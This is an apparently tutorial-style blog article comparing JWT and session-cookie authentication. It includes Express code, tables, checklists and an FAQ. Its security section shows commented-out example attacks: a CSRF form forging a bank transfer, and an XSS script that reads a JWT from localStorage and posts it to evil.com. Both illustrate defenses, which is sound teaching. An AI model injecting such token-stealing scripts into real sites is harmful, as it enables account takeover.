BytePane

JWT vs Session Cookies: Authentication Methods for APIs and Web Apps

Authentication16 min read

The Authentication Decision Every Developer Faces

Every web application needs authentication, and the two dominant approaches are session-based authentication (using server-side sessions with cookies) and token-based authentication (using JSON Web Tokens). Choosing between them affects your architecture, scalability, security posture, and development complexity. This guide breaks down both approaches with practical code examples so you can make the right call for your project.

Session cookies have been the standard since the early days of the web. They are simple, inherently revocable, and well-understood. JWTs emerged as APIs and single-page applications became the norm, offering stateless authentication that scales horizontally without shared storage. Neither approach is universally better -- the right choice depends on your specific architecture.

If you are working with JWTs and need to inspect token contents, our JWT Decoder lets you decode the header, payload, and check claims instantly in your browser.

How Session-Based Authentication Works

Session-based authentication is stateful. When a user logs in, the server creates a session record in a data store (memory, database, or Redis), generates a unique session ID, and sends it to the client as a cookie. On every subsequent request, the browser automatically includes this cookie, and the server looks up the session data to identify the user.

  1. User submits credentials -- The client sends username and password to the login endpoint.
  2. Server creates a session -- The server validates credentials, creates a session object with user data, and stores it server-side.
  3. Server sends a session cookie -- A Set-Cookie header sends the session ID to the browser. The cookie is typically HttpOnly, Secure, and SameSite.
  4. Browser sends cookie automatically -- Every request to the same domain includes the session cookie without any JavaScript code.
  5. Server looks up session -- The server reads the session ID from the cookie, finds the session in the store, and retrieves the user data.
  6. Logout destroys session -- The server deletes the session record. The cookie becomes meaningless.
// Session-based auth with Express + express-session
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const redis = require('redis');

const app = express();
const redisClient = redis.createClient();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,      // JS cannot access this cookie
    secure: true,        // HTTPS only
    sameSite: 'strict',  // No cross-site requests
    maxAge: 24 * 60 * 60 * 1000  // 24 hours
  }
}));

// Login
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await verifyCredentials(email, password);

  if (!user) return res.status(401).json({ error: 'Invalid credentials' });

  // Session created automatically, stored in Redis
  req.session.userId = user.id;
  req.session.role = user.role;
  res.json({ message: 'Logged in' });
});

// Protected route
app.get('/profile', (req, res) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Not authenticated' });
  }
  res.json({ userId: req.session.userId, role: req.session.role });
});

// Logout -- instant revocation
app.post('/logout', (req, res) => {
  req.session.destroy();  // Session deleted from Redis
  res.clearCookie('connect.sid');
  res.json({ message: 'Logged out' });
});

The key advantage of sessions is simplicity. The browser handles cookie management automatically, logout is instant (delete the session), and you never expose user data to the client. The session ID is an opaque, random string that means nothing without the server-side store.

How JWT Authentication Works

JWT authentication is stateless. Instead of storing session data on the server, the server encodes user information directly into a signed token and sends it to the client. The token itself contains everything needed to authenticate the user. The server never needs to look anything up -- it just verifies the token signature and reads the claims.

A JWT consists of three Base64url-encoded parts separated by dots: a header (algorithm and type), a payload (user claims and metadata), and a signature (cryptographic proof that the token has not been tampered with). You can decode any JWT instantly with our JWT Decoder, and format the resulting JSON payload with our JSON Formatter.

// JWT authentication with Express + jsonwebtoken
const express = require('express');
const jwt = require('jsonwebtoken');

const app = express();
const ACCESS_SECRET = process.env.JWT_ACCESS_SECRET;
const REFRESH_SECRET = process.env.JWT_REFRESH_SECRET;

// Login -- returns tokens instead of creating a session
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await verifyCredentials(email, password);

  if (!user) return res.status(401).json({ error: 'Invalid credentials' });

  const accessToken = jwt.sign(
    { sub: user.id, email: user.email, role: user.role },
    ACCESS_SECRET,
    { algorithm: 'HS256', expiresIn: '15m' }
  );

  const refreshToken = jwt.sign(
    { sub: user.id },
    REFRESH_SECRET,
    { algorithm: 'HS256', expiresIn: '7d' }
  );

  // Refresh token in HttpOnly cookie, access token in body
  res.cookie('refresh_token', refreshToken, {
    httpOnly: true, secure: true, sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000
  });

  res.json({ accessToken });
});

// Auth middleware -- no database lookup needed
function authenticate(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'No token provided' });

  try {
    req.user = jwt.verify(token, ACCESS_SECRET, {
      algorithms: ['HS256']
    });
    next();
  } catch (err) {
    res.status(401).json({ error: 'Invalid or expired token' });
  }
}

// Protected route -- user data comes from the token itself
app.get('/profile', authenticate, (req, res) => {
  res.json({ userId: req.user.sub, email: req.user.email });
});

The key advantage of JWTs is scalability. No shared session store is needed, so you can run any number of servers behind a load balancer without sticky sessions. Each server independently verifies the token using the secret key or public key. This is why JWTs dominate in microservices architectures.

Side-by-Side Comparison

The differences between sessions and JWTs become clearer when you compare them across the dimensions that matter most: state management, scalability, security, and revocation.

PropertySession CookiesJWT
StateStateful (server stores data)Stateless (token carries data)
StorageServer-side (Redis, DB, memory)Client-side (cookie, localStorage, memory)
ScalabilityRequires shared session storeScales horizontally, no shared state
RevocationInstant (delete session)Requires blocklist or short expiry
Payload sizeSmall (just session ID, ~32 bytes)Larger (claims + signature, ~500+ bytes)
Cross-domainSame-origin only (without CORS)Works across domains via headers
Mobile supportLimited (cookies are web-centric)Excellent (Authorization header)
Server loadDB/Redis lookup per requestCPU-only (signature verification)
ComplexitySimple, well-establishedMore complex (refresh flow, storage)

Security Comparison: Attack Vectors

Both approaches have distinct security profiles. Understanding the specific attack vectors for each helps you implement the right defenses.

Session Cookie Vulnerabilities

The primary threat to session cookies is Cross-Site Request Forgery (CSRF). An attacker tricks the user into making an authenticated request to your server by embedding a form or image on a malicious page. Because the browser automatically sends cookies, the server sees a legitimate-looking authenticated request.

// CSRF attack example: malicious site includes this form
// <form action="https://bank.com/transfer" method="POST">
//   <input type="hidden" name="to" value="attacker" />
//   <input type="hidden" name="amount" value="10000" />
// </form>
// <script>document.forms[0].submit();</script>

// Defense 1: SameSite cookie attribute (best)
res.cookie('session_id', sid, {
  sameSite: 'strict'  // Cookie not sent on cross-site requests
});

// Defense 2: CSRF token (traditional)
app.use(csrf({ cookie: true }));
// Include token in forms: <input type="hidden" name="_csrf" value="..." />

// Defense 3: Check Origin/Referer header
function csrfProtection(req, res, next) {
  const origin = req.headers.origin || req.headers.referer;
  if (!origin?.startsWith('https://myapp.com')) {
    return res.status(403).json({ error: 'CSRF detected' });
  }
  next();
}

JWT Vulnerabilities

The primary threat to JWTs (when stored in localStorage) is Cross-Site Scripting (XSS). If an attacker injects JavaScript into your page, they can read the token from localStorage and send it to their own server. Unlike session cookies, which can be made HttpOnly, tokens in localStorage are always accessible to JavaScript.

// XSS attack stealing a JWT from localStorage
// Attacker injects this via a comment field, user profile, etc.:
// <script>
//   fetch('https://evil.com/steal', {
//     method: 'POST',
//     body: localStorage.getItem('accessToken')
//   });
// </script>

// Defense: Store JWT in HttpOnly cookie instead of localStorage
res.cookie('access_token', jwt, {
  httpOnly: true,   // JavaScript CANNOT read this
  secure: true,
  sameSite: 'strict'
});

// Then read from cookie on the server side:
function authenticate(req, res, next) {
  const token = req.cookies.access_token;  // Not from header
  // ... verify token
}

// Additional JWT-specific attacks to defend against:
// 1. Algorithm "none" attack -- always specify allowed algorithms
// 2. Key confusion (RS256->HS256) -- whitelist algorithms
// 3. Token replay -- use jti claim + expiration
AttackSession CookiesJWT (localStorage)JWT (HttpOnly Cookie)
XSS token theftSafe (HttpOnly)VulnerableSafe (HttpOnly)
CSRFVulnerableSafe (no cookies)Vulnerable
Token replaySession expiryUntil token expiresUntil token expires
Session fixationRegenerate on loginN/AN/A

When to Use Session Cookies

Session-based authentication is the right choice when simplicity, instant revocation, and traditional web application patterns are priorities. Choose sessions when your application meets these criteria.

  • Server-rendered applications -- Traditional web apps (Rails, Django, Laravel, Express with templates) where the server renders HTML. Cookies are sent automatically by the browser, requiring zero client-side auth code.
  • Instant logout is required -- Banking, healthcare, or any application where a compromised account must be locked out immediately. Deleting the session is instantaneous and absolute.
  • Single-domain architecture -- Your frontend and API are on the same domain. Cookies work seamlessly without CORS configuration.
  • Small to medium scale -- A single server or small cluster where a shared Redis instance handles session storage without becoming a bottleneck.
  • Compliance requirements -- Regulations that require the ability to terminate all active sessions for a user (GDPR right to erasure, SOC 2 access controls).

When to Use JWT

JWT authentication shines in distributed systems, cross-domain scenarios, and applications where horizontal scalability is critical. Choose JWTs when your architecture demands statelessness.

  • Microservices architecture -- Multiple backend services that each need to verify the user independently. With asymmetric signing (RS256), each service verifies tokens using the public key without accessing a central store.
  • Mobile and native applications -- iOS, Android, and desktop apps where cookies are not the natural authentication mechanism. Tokens sent in the Authorization header work across all platforms.
  • Cross-domain APIs -- Your API is consumed by multiple frontends on different domains (e.g., web app, partner integrations, third-party dashboards).
  • Serverless and edge functions -- Lambda, Cloudflare Workers, and Vercel Edge Functions where connecting to a session store on every request adds latency and cost. Token verification is a CPU-only operation.
  • Third-party authentication -- OAuth 2.0 and OpenID Connect flows that issue access tokens and ID tokens as JWTs. If you are integrating with Auth0, Okta, Firebase Auth, or similar providers, you are already using JWTs.

The Hybrid Approach: Best of Both Worlds

Many production systems at scale use a hybrid approach that combines the revocability of sessions with the scalability of JWTs. The authentication server maintains a session, and when the user needs to access downstream APIs or microservices, a short-lived JWT is issued from that session.

// Hybrid approach: Session + JWT
// Auth server (handles login, sessions, and token issuance)
const express = require('express');
const session = require('express-session');
const jwt = require('jsonwebtoken');

const app = express();

// Traditional session for the web frontend
app.use(session({
  store: new RedisStore({ client: redisClient }),
  cookie: { httpOnly: true, secure: true, sameSite: 'strict' }
}));

// Login creates a session (traditional)
app.post('/login', async (req, res) => {
  const user = await verifyCredentials(req.body.email, req.body.password);
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });

  req.session.userId = user.id;
  req.session.role = user.role;
  res.json({ message: 'Logged in' });
});

// Token endpoint: session -> JWT for API access
app.post('/api/token', (req, res) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Not authenticated' });
  }

  // Issue a short-lived JWT from the active session
  const apiToken = jwt.sign(
    { sub: req.session.userId, role: req.session.role },
    PRIVATE_KEY,
    { algorithm: 'RS256', expiresIn: '5m' }
  );

  res.json({ token: apiToken });
});

// Logout: destroy session = no more JWTs can be issued
app.post('/logout', (req, res) => {
  req.session.destroy();
  res.json({ message: 'Logged out' });
});

// --- Downstream microservice ---
// Only needs the public key, no Redis connection
app.get('/api/orders', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  const user = jwt.verify(token, PUBLIC_KEY, { algorithms: ['RS256'] });
  // Token is valid for 5 minutes, no session lookup needed
  res.json({ orders: getOrdersForUser(user.sub) });
});

This hybrid pattern is used by companies like Netflix, Spotify, and most enterprise platforms. It gives you instant revocation (destroy the session and no new JWTs can be issued), while downstream services remain stateless and independently scalable. The short JWT lifetime (5 minutes or less) means even if a token is intercepted, the window of exposure is minimal.

Implementation Checklist

Regardless of which approach you choose, follow this security checklist to avoid the most common authentication mistakes.

Session Cookie Checklist

  1. Set HttpOnly, Secure, and SameSite=Strict on all session cookies.
  2. Use a cryptographically random session ID (at least 128 bits of entropy).
  3. Store sessions in Redis or a database, never in server memory (crashes lose all sessions).
  4. Regenerate the session ID after login to prevent session fixation attacks.
  5. Set reasonable session expiration (24 hours for general apps, shorter for sensitive ones).
  6. Implement idle timeout: destroy sessions inactive for 30+ minutes.
  7. Use CSRF tokens or SameSite cookies to prevent cross-site request forgery.

JWT Checklist

  1. Use short access token expiration (5-15 minutes) with refresh tokens for longer sessions.
  2. Always specify allowed algorithms when verifying: algorithms: ['RS256'].
  3. Store access tokens in memory (not localStorage) and refresh tokens in HttpOnly cookies.
  4. Validate all registered claims: exp, iss, aud, nbf.
  5. Use asymmetric signing (RS256/ES256) for microservices; symmetric (HS256) only for monoliths.
  6. Never put sensitive data (passwords, SSN, credit cards) in the JWT payload.
  7. Implement refresh token rotation: issue a new refresh token on each use and invalidate the old one.
  8. Maintain a blocklist for critical operations (logout, password change, account compromise).

Use our Base64 Encoder/Decoder to verify that your JWT payloads contain only the claims you expect -- remember, the payload is merely encoded, not encrypted.

Decision Framework

Use this quick decision framework to choose the right authentication strategy for your next project.

If your app is...UseWhy
Server-rendered monolithSessionsSimplest, built-in framework support
SPA + single APIEither (JWT in cookie)Both work well, JWT avoids session store
MicroservicesJWT (or hybrid)Stateless verification across services
Mobile + webJWTAuthorization header works everywhere
Third-party API consumersJWTCross-domain, self-contained tokens
Serverless / edgeJWTNo persistent connections to session store
Enterprise with complianceHybridInstant revocation + distributed auth

Frequently Asked Questions

Is JWT more secure than session cookies?

Neither is inherently more secure. JWTs are vulnerable to token theft via XSS if stored in localStorage, while session cookies are vulnerable to CSRF attacks. The security depends on implementation: HttpOnly cookies for session IDs prevent XSS, SameSite attributes prevent CSRF, and short-lived JWTs limit damage from compromised tokens. The best security comes from combining both defenses.

Can I use JWT inside a cookie instead of the Authorization header?

Yes, and many security experts recommend it. Storing a JWT in an HttpOnly, Secure, SameSite cookie gives you the stateless benefits of JWTs with the XSS protection of cookies. The server reads the JWT from the cookie instead of the Authorization header. You still need CSRF protection with this approach, which the SameSite attribute provides.

Why do microservices prefer JWT over session cookies?

Microservices prefer JWTs because they are stateless and self-contained. Each service can verify the token independently using the public key, without querying a central session store. This eliminates a single point of failure, reduces inter-service communication, and allows each service to scale independently without coordinating session state.

How do I log out a user with JWT authentication?

Since JWTs are stateless, there is no server-side session to destroy. Common strategies include: maintaining a server-side blocklist of revoked token IDs (jti claim), using very short access token lifetimes (5-15 minutes) so tokens expire quickly, rotating refresh tokens on each use, and clearing the token from the client. The hybrid approach solves this by tying JWT issuance to a revocable session.

What is the hybrid approach to authentication?

The hybrid approach combines sessions and JWTs: a traditional session cookie authenticates the user with the main application server, and when the user needs to access downstream APIs or microservices, the session server issues a short-lived JWT (5 minutes or less). This gives you easy revocation from sessions and stateless scalability from JWTs. Companies like Netflix and Spotify use variations of this pattern.

Inspect Your JWT Tokens

Debugging authentication issues? Paste any JWT into our free decoder to inspect its header, payload, claims, and expiration. Everything runs locally in your browser -- your tokens never leave your device.

Open JWT Decoder

Related Articles